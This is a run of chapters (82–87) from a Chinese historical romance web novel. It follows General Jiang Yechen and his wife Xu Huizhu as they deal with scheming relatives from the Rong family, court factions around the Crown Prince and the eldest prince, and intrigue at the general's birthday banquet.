也是凑巧了,姜夜沉今日要在锦衣卫诏狱“大开杀戒”,就得随行个大夫。
要是还能榨出点价值,普神医就出手救一救。
“这位姑娘......吓晕了。”
普神医实话实说。
这下,徐桂珍的脸色,精彩纷呈。
她真想一巴掌呼在荣婷的脸上,作死啊,莫说勾引姜夜沉,看一眼就吓晕过去。
顶什么用。
“金夏,你送荣婷姑娘回院子休息。”
金夏倒是麻利,抱起荣婷,心里却想的是:可惜,这姑娘没吓死,要是活生生吓死,怪好的。
“荣夫人,请吧。”金夏走到门口,不忘回头催促徐桂珍。
“荣夫人也走不动道,需要奴婢抱?”
第082章:苗氏有五美,个个姿容绝色
荣慧先一步站起身,冲姜夜沉行礼,“打扰到将军和夫人了。”
又说,“母亲,先照顾妹妹要紧。”
荣慧的眼里闪烁过一抹奇异的亮光,她赶忙垂下头,似是受到惊吓的小白兔。
回到客院,徐桂珍连装都懒得装了,一巴掌扇在荣慧的娇脸上。
可惜,手腕被捉住。
“母亲何故动怒?”
“**,莫叫我母亲!”徐桂珍上了年纪,虽涂抹厚厚脂粉,也难以遮掩住苍老的痕迹。
她尤其憎恨年轻貌美的女子。
不,俊美的男子,她也恨。
“荣慧,你以为你是谁?”
“若不是我,你连将军府的大门都进不得。”
“你不心存感恩也就罢了,竟敢私下蛊惑、吓唬婷儿?”
“**,你以为你是谁?天上的仙子?”
“你就能万分确定,将军一定看上你?”
“不自量力。”
荣慧的心,自看见姜夜沉后,砰砰砰跳跃不停。
偏偏,徐桂珍坏她的心情。
啪啪。
荣慧不耐极了,不屑和徐桂珍磨嘴皮子,实属浪费时间。
不如,用巴掌打醒糊涂虫。
“母亲,莫忘了主子的命令。”
荣慧取出一盒药膏,为徐桂珍涂抹脸颊,不过转瞬功夫,疼痛仍存,巴掌印消失。
“我奉劝母亲安分些,莫以为主子如今身陷囹圄,你就能对主子的命令阴奉阳违。”
荣慧从荷包里取出一枚玉佩,徐桂珍看见熟悉的玉佩,瞬间软了身子,瘫在地上。
“你......你......”
“母亲,这回是浩池公子的玉佩,下回主子命人送来的就可能是浩池公子的头发、手指、耳朵、牙齿......母亲想要见到浩池公子身体的哪个部位呢?”
荣慧说完,转身离开。
她昨夜描了一半的画像,今日见到姜夜沉后,灵感如源泉喷涌。
主院里。
姜夜沉已换了一身干净的衣裳,正陪徐慧珠用膳。
大福脸色怪异,将客院发生的事情新鲜禀告。
“将军,那位荣婷姑娘胆小是真,受荣慧蛊惑吓唬也为真。”
“荣婷本不愿来将军府,被荣夫人逼迫硬拉,她......惧怕将军。”
“另外,那位荣慧姑娘,身上的杀气、戾气极重,不似寻常贵女。”
“她对荣夫人毫无尊重,还屡次提到什么主子......”
徐慧珠为姜夜沉夹了一块辣子鸡,“桃花都追到将军府了,将军真真是好福气啊。”
“夫人才是我的好福气。”辣子鸡堵不住姜夜沉要说的情话,“不知为何,夫人夹给为夫的菜,辣在嘴里,甜在心里。”
她在说正事,他却见缝插针说情话。
“我在荣慧的身上感觉到熟悉的气息,尤其那双眼睛。”
“她看我的时候,透着恨意。看你的时候,透着深情。”
荣慧自以为掩饰极好,其实早被徐慧珠发现。
徐慧珠瞪了一眼姜夜沉。
又觉得心虚。
论亲戚关系,不管她认或不认,眉县荣家终归与娘家有牵扯。
姜夜沉瞧着面前的女子,脸上表情变幻不停,一瞬恼怒,一瞬尴尬。
怪有趣的。
果然,应了古言:情人眼里出西施。
自他的世界,出现徐慧珠开始,他看徐慧珠,越看越顺眼、越欢喜。
他听她说话,越听越顺耳、越上瘾。
在北疆那些年,营地是“家”。
回京城后,锦衣卫府衙是“家”。
成亲后,他忽然觉得每日办差的时间太长,锦衣卫诏狱里的血腥气、霉潮味让他胃里不适......
他每日,不情不愿离开将军府。
他每日,迫不及待把家还。
“华山王对欣冉郡主的死存疑,他似乎不怎么相信太子有胆弄死欣冉郡主,也不愿相信欣冉郡主是自个儿意外作死。”
“人进了宗人府,手脚不安分,还威胁谨郡王当信使,给钱相爷送信。”
也是凑巧,宗人正是襄王,但软禁华山王一事,襄王交给谨郡王负责。
襄王不愿见到华山王,他怕自己控制不住,亲手将华山王给打死。
密信,被锦衣卫截获。
姜夜沉看完内容之后,原封不动放归,他倒要看看,以老奸巨猾著称的钱相爷,会不会为阶下囚华山王冒一回险?
“
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谨郡王?”
徐慧珠搜索记忆,只想起听闻谨郡王的一桩风流韵事。
不,应该算是皇室丑闻。
“华山王手里,应该捏着谨郡王的把柄,将军,不妨查一查谨郡王和太子的私下交集。”
如果这把柄转捏在姜夜沉的手里,或许更能发挥效用。
姜夜沉顺口问道,“钱相爷呢?”
“徐慧珠,你知道他什么秘密?”
他似是在问一句闲话,目光里并无半点怀疑之色,好像不管从徐慧珠嘴里说出何等怪异的话,他不会觉得震惊,亦不会猜疑她的用心。
他对她,出于本能的信任。
“将军喝茶,且听我给你细细分析。”
徐慧珠觉得自己有当诸葛孔明的天赋和梦想,自她接手云霄阁后,她一头扎在情报收集处,分析朝中势力。
姜夜沉主攻前朝,她可将目标放在后宅,对付敌人之时,形成左右夹击之势。
“洗耳恭听。”
姜夜沉眼里唯有欣赏。
“苗氏五美,个个姿容绝色,在京城颇占风光。”
“起初,苗兴旺为攀附钱相爷,主动送女。”
“苗家三女儿——苗安楠自荐枕席,入相府后宅一路从贱妾爬上平妻,逼得嫡妻和嫡子嫡女留守祖地。”
“由此,苗氏入得厉贵妃和大皇子的眼,同钱相爷开始布一局棋。”
“苗家长女苗安媛瞅准户部尚书徐从德,奈何落花有意流水无情,只能委屈自个儿嫁给废物徐从武。”
“为钱权。”
“苗家二女苗安娇嫁给明侯府实际掌权人明道成,为兵权。”
“苗家幺女苗安欣入宫帮厉贵妃固宠,为皇宠。”
“而钱相爷,本就是文臣之首,大皇子若再得到钱权、兵权和皇宠,就能有争夺储君之位的资本。”
姜夜沉不禁想,若徐慧珠为男子,将会取得何等成就?
武能为兄弟。
文能为知己。
与他比肩。
或,在他之上。
京城世家盘根错节,就跟那蜘蛛网似的,钱相爷是一只勤奋的蜘蛛,日夜不停歇地织网,然后献给蜘蛛王。
大皇子李明远就是钱相爷拥护的“蜘蛛王”...
第083章:夫人昨夜如何累的?
“你说得没错,太子上蹦下窜时,大皇子低调行事,积攒声望和实力。”
“皇上交待的活,不论小活累活,大皇子从未抱怨过一句,也没刻意邀功。”
“皇上夸赞不多,但对大皇子也有一份欣赏在,还提说过,大皇子配得上‘贤’,堪称贤王或明王,取贤慧明智之意。”
“虽是极高的赞誉,却也说明在皇上的心里,并未将大皇子列为储君的可能。”
“大皇子、厉贵妃和钱相爷明知这一切,仍谋权......”
徐慧珠接话,“投胎皇家,生为皇子,是有皇位要继承的。”
“谁来继承皇位?这个题,没有绝对的答案。”
徐慧珠看向姜夜沉,直接发问,“将军,大皇子对您可释放过拉拢之意?”
姜夜沉摇摇头。
又点点头。
“太子是被皇后娘娘宠坏的孩子,厉贵妃却将大皇子教导的不差。”
如何对待姜夜沉?太子和大皇子这一双兄弟,果然同根亲生。
嫉妒和憎恨,完全压制住欣赏。
恨一个人,到底缘何而恨?
这个问题,也没有绝对的答案。
心里的邪念、贪欲一旦滋生,渐渐长成参天大树,便形成刻入骨血,深入骨髓的执念。
执念折磨人。
也吞噬人的理智。
徐慧珠一觉醒来,已是晌午。
床榻半边空着。
她又被饿醒的。
姜夜沉是皇上身边的红人,也是大忙人。
亏得姜夜沉体力异禀,不然,这般高强度的公务,不得累出身病痛。
谁受得了?
也唯有姜夜沉。
“夫人,您醒了?”
金秋就守在门口,听见徐慧珠起身的声响,赶忙推门进来。
入眼,是一张未施粉黛的脸。
面若桃花。
美的让人瞧着舒爽。
“夫人,将军离府时特意交待,不得喊醒您,说昨晚您累着了,让您睡到自然醒。”
金秋虽心里疑惑,将军不能人道,夫人如何累的?
也仅仅好奇。
瞧夫人的眉眼和神色,金秋悄悄跪拜菩萨,感激菩萨对夫人有此安排。
当然,夫人自个儿功不可没。
嫁给将军,夫人这步棋走得堪称绝妙。
也是,托将军的福。
将军是好人。
金秋决定,她再拜菩萨时,便求菩萨保佑将军身体康健、权势永存,同夫人恩爱不移。
“夫人,将军对您真好。”
“是呀,将军极好。”就是当着姜夜沉的面,徐慧珠也不吝夸赞。
男人嘛,多夸夸,才会有更大的进步空间。
这偌大的将军府,姜夜沉不在,她便是山中称王称霸的老虎,唯一的主。
这种上无公婆管束,下无子女照顾,也没有亲人同处烦扰,更为重要的是,姜夜沉对她又包容又纵容。
徐慧珠嫁人后的生活,才是快活幸福的好日子。
她值得被羡慕。
她更活该被嫉妒。
姜夜沉不在府里,徐慧珠便不讲那些虚空的规矩,由三金陪着用膳。
金夏心不在焉的太明显,她平日里最爱的松鼠桂鱼就摆在她的眼前,她竟然只埋头吃白饭。
“金夏?”
金夏的心思,还在那碗白饭上。
“金夏?”徐慧珠放下筷子。
“说吧,发生什么事了?”
“明知憋着难受,还憋着?”
金秋金冬齐齐瞪向金夏。
“哎......”金夏长长出一口气,迎上金秋金冬的白眼,还先告状为强。
“夫人,可憋死奴婢了,奴婢吃着白饭都觉得噎得难受。”
“金秋不让奴婢说,逼奴婢坚持到膳后,说不能让坏消息影响了您的胃口......”
“奴婢实在不懂,金春**,不是好消息吗?金春本身就是祸害,还自个儿作死,死的活该,**干净......”
金夏的嘴巴,就跟那点燃的炮仗一样,劈里啪啦,都是她的声音。
徐慧珠捕捉到关键信息。
她看向金秋金冬,“金春**?”
金秋金冬点头,眼里透着一抹说不清道不明的情绪。
“金春死于昨夜。”
按说,金春背主,她的下场,是她自己该付的代价。
当初,若苗耀祖得逞,夫人这一辈子就毁得彻底。
死,死不瞑目。
活,活成行尸。
但,四金从小一起长大。
是亲人啊。
如金秋金冬所料,徐慧珠的确失去用
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膳的心情。
“金春**的?”徐慧珠稍加思索,也就明白了。
“童大祥杀了她?”
金夏赶忙抢话,“夫人料事如神。”
“事情是这样的......”
正说着话,阿琴来禀,“夫人,荣婷姑娘来了。”
“荣婷姑娘一个人来的。”
“哦?”徐慧珠来了兴趣,一个被姜夜沉吓晕的姑娘,寻她做什么?
“见过表姐,不不不,夫人。”
荣婷眼下一团乌青,她从进屋开始偷偷四下瞅瞅,没看见杀神,紧张的神色才渐渐舒缓。
看来,荣婷惧怕姜夜沉,并没作假。
“荣婷姑娘莫怕,将军不在府里。”
“坐吧,荣婷姑娘喜欢喝玫瑰花茶,还是茉莉花茶?”徐慧珠语气软和几分。
如此看来,荣婷不是来同她抢男人。
“茉莉花茶。”荣婷姑娘被揭穿心思,白嫩脸颊上微微泛红,“夫人,你......你不怕吗?”
“怕?”徐慧珠转念便明白荣婷的好奇,“荣婷姑娘是问我,整日与将军相处,会不会惧怕?”
荣婷的小脸,更红了眼,心想,这位“表姐”说话后直白。
她当即明白,自己问了一句废话。
徐慧珠根本不怕将军。
“将军杀的人,要么是该杀的坏人、恶人,要么是战场上的敌人。”
“而我是将军的枕边人,将军心悦我,疼我爱我护我信我......我自是不怕。”
“我这样说,荣婷姑娘可懂?”
荣婷似是听得迷了,看得痴了,一时忘记反应。
门外,荣慧停滞脚步,宽大的衣袖之下,白嫩的胳膊已被自己掐得伤痕累累。
姜夜沉心悦徐慧珠?
呵。
滑天下之大稽的笑话。
徐慧珠真真不要脸。
也就是哄骗像荣婷这样的傻白甜。
这桩亲事如何来的?
徐慧珠有脸说吗?
**月不要,徐慧珠为了银子硬讨来的。
当然,错不在姜夜沉,是**月有眼无珠,一个心里只装着床榻欢愉的**。是徐慧珠厚颜无耻,一个眼里只看得到金银的俗女。
她们,都配不上姜夜沉。
如今,她荣慧来了...
第084章:将军说她们是粗劣脂粉
荣慧心想:她来到姜夜沉的身边,真心实意爱他疼他。
她和姜夜沉,才是命中注定的一对有情人。
有情人终成眷属。
如今遇到的种种,不过是上苍对这份情爱的磨难和考验,她经得起、受得住。
“见过徐夫人。”荣慧的名字里,也有“慧”字。
姜夜沉喜欢什么样的女子,她就让自己变成什么模样。
她为他,能做一切。
“给徐夫人添麻烦了。”
荣慧径直走向荣婷,“母亲不过说你几句,也是为你好。”
“荣婷,你不再是孩童了,莫要总是惹母亲伤心。”
荣婷跟着荣慧离开,一步三回头。
“夫人,奴婢瞧着,荣慧姑娘不简单。”打从荣慧进门,金冬一直仔细观察。
“也不单纯。”
金冬补充一句。
“若我猜测不错,荣慧恨我,还想弄死我......”
徐慧珠当下决定,让阿魂派人走一趟眉县,重点调查荣慧此人。
徐慧珠万分确定,她从前没见过荣慧。
难道这世上当真有无缘无故的恨?
荣慧登门抢男人,徐慧珠身为将军府的当家夫人,还未说什么,也没动作,却被姜夜沉的又一朵烂桃花记恨上。
是何道理?
这一日,刚下朝,姜夜沉走到徐从德面前,“岳丈。”
徐从德脚步一顿,心漏掉半拍,“将......将军?”
按说,徐慧珠的身份是妾,徐从德是没有资格应姜夜沉这句“岳丈”的。
“岳丈可得空?”
“何......何事?”
徐从德心里看不起自己,他好歹也是修炼到火候的老狐狸,不知为何,在姜夜沉面前精明不起来。
后生可畏。
“是一桩小事,得劳烦岳丈。”
姜夜沉似是没看见朝臣们一个个铆足劲听八卦,他们哪是走路,分明中了蚂蚁的慢吞吞毒。
“将军严重了。”徐从德想说的是:贤婿,你我一家亲,何须见外。
这话,心里想想可以,不说为妙。
“眉县荣家的荣夫人两日前突然登将军府,还领着两名贵女,说是在荣家受了委屈,回娘家求得庇护。”
“本将军不知,荣夫人的娘家,何时从户部尚书府变成将军府?”
这些话,算不得家丑,也够不上质问。
姜夜沉身为将军,行事一向光明磊落,他在大庭广众之下说事,再正常不过。
徐从德知道,若姜夜沉当真恼怒,便会让锦衣卫把徐桂珍打包成团,扔到尚书府大门口了。
这也说明,姜夜沉对徐慧珠,只怕是存了真心的看重。
徐从德的心情很复杂,姜夜沉对徐慧珠看重,对户部尚书府来说,是好事。可对徐从德来说,未必是一件幸事。
他耐着性子等徐慧珠长到二十岁,还未来得及行事,徐慧珠就嫁到将军府。
下一步,他该如何做?
“这?”徐从德眼露震惊之色,“桂珍叨扰将军......”
“慧珠和将军大婚之时,荣家道贺,礼到人未来。”
“桂珍作为亲姑母,先前病了没来成,这回来京,便想着在回娘家前,看看慧珠......”
不得不说,徐从德是擅长找补的。
徐桂珍不在此处,徐从德也能帮她寻一个合情合理的借口。
可惜,姜夜沉不怎么好打发。
这下,连路过的襄王都禁不住好奇,他假意和亲儿子李明博商议事情,好巧不巧,就站在四五步远的地方。
李明博无奈地配合襄王演戏。
没办法,自己的亲爹,自己得纵着宠着。
“岳丈该知道,我和慧珠正值新婚浓情蜜意时,不相干的外人掺和,总归影响二人世界。”
“而且,本将军喜静,不喜欢府里喧闹,也闻不惯粗劣脂粉的气味。”
“岳丈现下若得空,便同本将军回府,接走荣夫人等人。”
姜夜沉可以叫徐从德“岳丈”,但不会叫徐桂珍一声“姑母”。
因为,徐桂珍还没有这么大的脸面。
谁是粗劣脂粉?
只差指荣慧的名,道荣婷的姓了。
徐从德的确震惊,不知该夸徐桂珍胆大,还是该叹她蠢,先不说姜夜沉和慧珠正值新婚甜蜜之时,谁说姜夜沉一大婚,旁人就能往将军府后宅塞美人了?还
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想一次性塞俩?
怎么?眉县荣家的女儿泛滥成灾?
襄王是个爱凑热闹的,尤其是徐从德的热闹,他不仅凑,还会时不时损几句。
他极擅长气徐从德。
“原来是徐大人的妹妹回京了啊。”
襄王一开口,徐从德的脸色难看,好不容易逮着机会,不让襄王过一把嘴瘾,岂能闭嘴。
“襄王?”徐从德无力阻止,他总不能扑过去捂住襄王的嘴。
堂堂王爷之尊,也捂不得。
襄王拍拍姜夜沉的肩膀,眼睛却看向徐从德,不怀好意的很,“夜沉,你大概没听过徐桂珍的‘威名’,二十多年前,徐桂珍在京城闹出一个大笑话,可大了......”
等徐慧珠知道时,荣夫人母女三人已被徐从德强行接走,全程黑着一张脸。
姜夜沉回府后,直接来的主院。
半日不见夫人,如隔三秋。
他可没闲情逸致作陪徐从德,这等小事,交给管叔处理。
不过,丑话得撂在前头。
“岳丈认眉县荣家这门亲戚,是岳丈家的私事,本将军不喜便宜亲戚。不知,岳丈可理解?”
主院里。
徐慧珠手里正拿着阿魂送来的密信,事关眉县荣家。
荣家曾惹得先皇厌弃,贬至眉县,这一待就是二十多年。
从俭入奢易,由奢入俭难。
权势亦然。
“将军回来了。”
徐慧珠迎上前,满脸欢喜。
“夫人在忙什么?”姜夜沉自是瞧见徐慧珠手里的密信,“阿魂送来的消息。”
徐慧珠点头。
待姜夜沉坐下,便奉上热茶,入口温度刚刚好。
姜夜沉喝一口茶,心里格外舒坦。
在北疆军营里,将士们坐在一处喝大酒,总有成家的将士拍着单身将士的肩膀,一副过来人的口气:待你们成家娶亲,就会体会到女人的种种好。
他现在体会到了。
徐慧珠说,“徐桂珍当年对荣家大爷一见钟情,宁肯断亲,也坚持非君不嫁。”
“说是那位荣家大爷长得一副好颜色,堪称京城百年难见的绝色美男子,却身染怪病......
第085章:生怕旁人不知,他的深情
荣传钥,荣家大爷,眉县荣家的家主。
“荣传钥在十五岁时,便发现自己身患怪病。”
“这怪病便是,嗜好男女双色。”
“徐桂珍对荣传钥一见钟情之时,彼时,荣传钥的目光,却落在徐从德的身上。”
“荣传钥以婚约为诱饵,利用徐桂珍给徐从德下药,哪知中途出了变故,伤到野王。”
“徐桂珍倒是聪慧,趁机坐实她和荣传钥的私情,也算顾住野王的清誉。”
“正巧这时,荣家牵涉到一桩**案,万幸皇宫有一位荣老太妃,于先皇有恩,荣家才得以保全,只抄没家产,全族贬至眉县。”
而襄王提说的是另一件丑闻。
徐桂珍原本定亲于刘府大公子,两家已交换庚贴,谁知徐桂珍见过荣传钥的绝色容颜后,迅速移情别恋。
徐桂珍重金买下一名扬州瘦马,让其勾引刘大公子。
果然,刘大公子只是拥有七情六欲的寻常男人,管不住身,也控不住心,不过三两个来回,就心甘情愿掉进扬州瘦马的温柔乡里。
最后,不惜私奔毁亲。
刘府丢脸又没理,以赔偿五万两银子换来徐桂珍撤销对刘大公子的状告。
安国律法明文规定,男女双方定亲,若一方犯下大错毁亲,须赔偿对方银子,具体数量由两家私下商定。
若犯错方拒不赔偿银子,受害方可向官府提出状告,判决犯错方入狱半年至一年。
紧接着,荣家出事,徐桂珍重情重诺如约嫁给荣传钥。
当然,是有流言蜚语曝出两人似是早有私情,刘府有所怀疑,但苦于没有证据。
后来,那名扬州瘦马如愿得偿入了刘府,为刘大公子生儿育女后,一颗心也就扑在刘大公子的身上,竟犯蠢为刘大公子抱不平,坦白自己当年受雇于徐桂珍引诱刘大公子,以达到坏亲的目的。
徐桂珍打着毁亲的主意,还要借毁亲一事为自己赚来丰厚的嫁妆银子。
贴补夫家。
可惜,事过境迁,单凭扬州瘦马的证词,无力指证徐桂珍对刘大公子的算计。
再说,刘大公子本就是一颗有缝的蛋,才被苍蝇叮上。
徐桂珍是手段下作,刘大公子是蠢。
但,这口气,刘大公子憋了多年。
“刘大公子曾是襄王的伴读,原本该有不错的前程......”
这也就造成襄王认可徐从德身为户部尚书的能力,但襄王十分不喜徐从德。
万万没想到,徐桂珍年轻时,曾是一个胆大妄为的疯子。
不,可谓蛇蝎心肠的恶女。
“老夫人宋氏只生育两子,但她极信命,请大师算过,需养育一名八字契合的女儿,益于寿命长遂、富贵绵远。”
“李氏族中,唯有徐桂珍的生辰八字契合,老夫人抢夺人家女儿,又一心扑在幺儿徐从武的身上,哪顾得上徐桂珍,直接扔给乳母看护......”
“不过,人与人之间的缘分,就是这般神奇,徐桂珍与老夫人虽不是亲生母女,可两人的性情却像了十成......”
二十多年前的事情,也就锦衣卫有法子探听出来。
徐慧珠忽然反应过来,姜夜沉是干大事的人,却在这里认真倾听她讲八卦。
不仅听得认真,还参与其中。
如此,会不会影响姜夜沉的形象啊?
“夫人放心,岳丈也不待见徐桂珍,烫手山芋扔给岳丈,让岳丈烦心去。”
毕竟,徐桂珍当年可是实打实算计过徐从德。
不管荣家有什么坏心思,对姜夜沉不起作用。
“将军,荣慧的身份没问题,只是阿魂送来的消息里,说荣慧乃荣传钥的长女,是一名婢生女,因与荣老夫人同一日生辰,便由荣老夫人做主记在徐桂珍名下,身份由低贱的婢生女变成尊贵的嫡长女。”
“但荣慧打小体弱,养在家庙里......”
姜夜沉并未关注荣慧,应该说,府里府外的女子,他只看得见徐慧珠一人。
“夫人既怀疑荣慧,命人暗中盯着便是,荣家是跳梁小丑,在小小的眉县蹦跶可以,京城早已没了荣家的容身之处。”
“可惜,荣家认得清现实,却不愿接受,随荣家闹腾去。”
这时,金夏急匆匆走进院子,脸上的神色不怎么好看。
“夫人,客院出事了。”
等姜夜沉和徐慧珠赶到,普神医
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正为徐桂珍诊治。
荣婷跪在床榻旁,紧紧握着徐桂珍的手,哭哭啼啼,“母亲,您不能死啊,呜呜呜......”
“母亲,婷儿想家了,婷儿想回家,呜呜呜......”
“闭嘴!人没死,嚎什么丧!”普神医平日里最烦女子哭闹,扰的他心乱,还如何看诊。
荣婷吓懵了,咬住嘴唇,任由眼泪吧嗒吧嗒往下落,像只可怜的小白兔。
我见犹怜。
“慧姐姐。”荣婷接触到荣慧的眼神,似是更怕,眼泪流的更汹涌,强忍着不敢发出声响。
“见过将军。”
“见过徐夫人。”
荣慧上前见礼。
她的眼圈泛红,“母亲跨过门槛之时,不小心踩着荣婷妹妹的裙摆,摔倒在地,伤着腰骨......”
徐慧珠看向普神医,“荣夫人伤得可严重?”
普神医点头,“腰骨碎裂,得好生将养,在骨头愈合之前,切莫再受伤。”
“不然,会有瘫痪的风险。”
“荣夫人受疼了。”徐慧珠的目光落在床榻上。
她想到老夫人也伤到腰骨,如今徐桂珍凑巧腰骨受伤,这一对母女,如出一辙的倒霉啊。
是不是坏事做得太多,报应指不定哪一日就来了?
“将军?”荣慧盈盈跪拜,微微低头,恰好露出光洁的脖颈,“将军容禀,小女有个不情之请。”
“荣慧姑娘求错了人,将军府后宅事宜归夫人管,求本将军无用。”姜夜沉说话直接,真真是不懂怜香惜玉。
荣慧神色一滞。
不过,她这个人脸皮修炼的够厚。
再难听的话,她也受得住。
“将军说得极是。”荣慧恭维道,“小女在眉县就听闻慧珠表姐嫁得良人,如今,小女眼见为实,真心为慧珠表姐高兴。”
这就叫上了“慧珠表姐”。
“荣慧姑娘只说对一半,慧珠乃本将军的命定之人,能娶到慧珠,是本将军的人生幸事,是本将军的好福气。”姜夜沉说罢,牵住徐慧珠的手,大方秀爱。
生怕旁人不知,他俩有多恩爱多深情。
荣慧娇媚的脸上,裂开无数缝隙......
第086章:我来,是有秘密告诉姐姐
“荣慧姑娘是不是想说,荣夫人伤到腰骨,实在不易移动,以免二次受伤,有瘫痪的风险......”
“荣夫人在将军府受伤,虽说是荣夫人自个儿不小心导致,但人心难测,荣夫人要执意怪罪将军府的门槛......将军府也该负一两分责。”
荣慧的脸色,越发难看。
她没想到,徐慧珠几乎是一边打荣夫人的耳光,一边揭她的脸皮子。
“荣慧姑娘且安心住下便是......”不就是想赖在将军府不走,那就别走了。
徐从德见过徐桂珍,表明来意后,就让她们先行收拾东西,他去书房寻姜夜沉。
一来二去,耽搁时间,错过见面。
哪知,他前脚离开,徐桂珍就意外摔倒。
当真是......意外吗?
莫说徐慧珠和姜夜沉会不会怀疑,徐从德心里止不住泛疑惑,演这一出苦肉计也要留在将军府。
图谋什么?
“将军?”
“慧珠?”
“这?”徐从德只得假意惊讶。
“父亲,事有凑巧,荣夫人受伤严重,谁也不想的。”徐慧珠照搬荣慧讲述的事情经过,又向徐从德复述一遍。
“荣夫人留在将军府休养几日,待普神医看诊后,能挪动之时,父亲再派人来接。”
荣慧眼露喜色,生怕徐慧珠后悔似的,赶忙抢话,“小女谢过慧珠表姐。”
“小女给将军添麻烦了。”荣慧湿漉漉的大眼睛望向姜夜沉。
可惜,姜夜沉是块冰疙瘩。
“的确麻烦。”姜夜沉冷哼道。
“将军?”荣慧眼圈发红,“若实在打扰到徐夫人,小女......小女这就带母亲离开将军府。”
好一朵黑芝麻馅儿的白莲花。
荣慧这是打定主意,哪怕胡扯一通,也要将脏水泼到徐慧珠的身上。
“可。”姜夜沉真真是不解风情。
“将军?”荣慧瞪着水汪汪的眼睛,尽是不敢置信。
姜夜沉怎么能说出这般无情冰冷的话?
他就不能看她一眼吗?
“好了,哭哭啼啼成何体统。”徐从德哪看不出荣慧的眉眼官司,就差把“勾引”俩字刻在脸颊上了。
“将军,五日后,我......我再登门接人。”
徐从德看着荣慧,忽然心生念头,他若好心帮荣慧这一回,未尝不是一条新的出路。
一旦荣慧得逞,便有无数机会接近徐慧珠,那么,他所谋划的事情,他要寻求的真相......是不是就能迎来转机?
徐从德说完,深深看了荣慧一眼。
察觉到徐从德的目光,荣慧大方迎上,“舅父,母亲......母亲她?”
“且安心,普神医医术高明,你母亲定会无恙,你好生照顾便是。”
徐从德的态度忽然转变,“慧珠,如此,辛苦你了。”
“父亲言重,是我误会父亲了。”徐慧珠打小就明白一个道理,不可对亲生父亲抱有希望。
因为,当你走到尽头才发现,是失望,更是绝望。
姜夜沉皱眉,对徐从德出尔反尔不满。
眼里已染上冷色。
徐慧珠的手指滑过姜夜沉的手心,以示安抚。
“误会?”
徐从德一时不明。
“是呀,我差点误会了父亲。”徐慧珠说得极其认真。
“姑母自嫁去眉县荣家,再未回过娘家,我还以为姑母不认娘家,或父亲不认姑母。”
“原来传言不实,父亲心里惦念着姑母啊。”
徐从德的脸色瞬间难看,徐慧珠虽未细说,但已说明她知晓那段往事。
那是他的耻辱。
徐从德不禁想,他这一生大概注定亲情缘淡薄,父母不慈,妻妾不爱,子女不亲,兄弟不敬......
他何尝听不出来,徐慧珠在嘲讽她。
不,他还有理想。
徐桂珍受伤的第三日,恰逢姜夜沉的生辰宴。
皇帝为彰显对姜夜沉的恩宠,自姜夜沉回京,每一年的生辰,皇帝下旨由内务府操办,规格同等皇子。
内务府总管成大监已负责操办三年,一应流程轻车熟路。
襄王妃来得最早,接着元乐长公主也来了,陪着徐慧珠接待女宾。
有这两位大人物镇场,来的贵人明面上无一人敢轻视徐慧珠,酸言酸语也暂且搁在肚子里,不想忍,也得强忍着。
徐慧
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珠只觉得脸颊笑的生疼,直到瞧见凝玉公主的仪仗,她笑不出来。
“凝玉公主送黄金万两,贺护国将军、北疆之王、锦衣卫统领生辰安乐。”
“皇后娘娘赐碧血宝剑。”
“太子殿下赐黄金甲。”
徐慧珠在心里默默为凝玉公主竖起大拇指,论“厚颜无耻”,凝玉公主世间无敌。
凝玉公主如何说服自己,再次鼓起勇气出现在姜夜沉的面前?
当然,这一回,凝玉公主走这一趟,代表的不仅仅是自己,还有皇后娘娘和太子殿下。
“臣妇徐氏,问凝玉公主安好。”
兵来将挡水来土掩。
且看凝玉公主如何演。
“许久不见,徐夫人风采照人,似乎......长胖了些。”凝玉公主一开口,还是熟悉的恶意。
“凝玉公主好眼力,臣妇托将军的福,婚后生活过得顺遂滋润......”徐慧珠麻溜接话,就没有她接不上的话。
“瞧着凝玉公主清减不少,您是刻意保持身材,还是遇到什么烦心事令您茶不思饭不想?”
“我家将军说了,女子不应盲目追求病态的瘦弱美感,对男人来说,抱着一身骨头膈得难受......”
不管凝玉公主今日为何而来,单纯送礼,又或是动坏心思,徐慧珠何惧。
将军府,是她徐慧珠的地盘。
谁敢入侵,统统打出去。
“凝玉?”元乐长公主招手,“凝玉,过来陪本宫说说话。”
“凝玉见过皇姑母。”凝玉公主乖巧行礼,她敢对着襄王妃出言不逊,却不敢在元乐长公主面前造次。
因为,元乐长公主一言不合,就动手**,甭管公主或皇子。
凝玉公主挨过好几回。
凝玉公主向皇帝告状,结果都是她理亏。
毫无例外。
好在,李氏携**月也来了。
见礼过后,**月就化身一颗糖果子,黏糊在徐慧珠的身边。
“姐姐为何不邀请我来将军府玩?”**月凑近了些,“我想姐姐了呢。”
“姐姐可想我?”
不等徐慧珠回应,**月又说,“我来,是有秘密要告诉姐姐。”
第087章:简直晦气
秘密?
该是李氏发现了什么,或是早有发现,如今时机已到,便借**月的口告诉她。
她和李氏不能表现的亲近,但她和**月是姐妹,偶有亲近,偶有矛盾...实属人之常情。
“父亲又不是兵部的官员,却在书房挂满安国城池山川图。娘亲说,她推测出父亲好像在寻什么地图,或制作什么地图。”
如果姐姐好奇,可悄悄潜入父亲的书房,那里有一间冰室,里面存放着一个冰棺......”
徐慧珠抬眼望去,正好与李氏四目相对。
李氏缘何纵容**月亲近她?
李氏想要做什么?
李氏在为**月安排后路吗?
她是**月的后路?不不不,从一开始,李氏为**月谋的是姜夜沉。
李氏太爱**月,即便**月忽然不愿嫁,亲手断绝自己的“后路”,李氏也纵着**月的任性,再想别的法子修补后路。
只是,**月身在福窝里,或许还未明显感受到李氏的良苦用心。
好在,**月最听李氏的话。
“明月妹妹,你可知冰棺里的人?”徐慧珠任由**月挽住她的胳膊。
“人?”**月眼生茫然,“娘亲未说啊。”
**月充当传话筒的作用,有些话该说,有些话不能说,她心里自是清楚。
她磨着李氏来将军府,一是的确想念徐慧珠,也好奇姐姐嫁给不能人道的夫君,婚后生活是何等模样。
她总得想法子减轻心里对徐慧珠的愧疚感啊。
二是碰碰运气,她也算有几分了解凝玉公主的性情,越是得不到的东西,越使凝玉公主抓狂,甚至发疯。
她同凝玉公主的旧账,是时候清算一二了。
“姐姐,万万小心凝玉公主。”
其实,无需**月多余提醒,她和凝玉公主中间横着姜夜沉,那就是不死不休的局面。
“哦?”徐慧珠来了兴趣。
“明月妹妹觉得,凝玉公主将如何对付我?污我名声?打我一顿?又或者弄死我?”
生辰宴设置男宾区和女宾区,隔荷花池相望。
此刻,**月指着一名青袍男子说,“喏,凝玉公主的护花使者,外加狗腿子来了。”
“叶文瑞,叶侯府世子,一心想当驸马。”
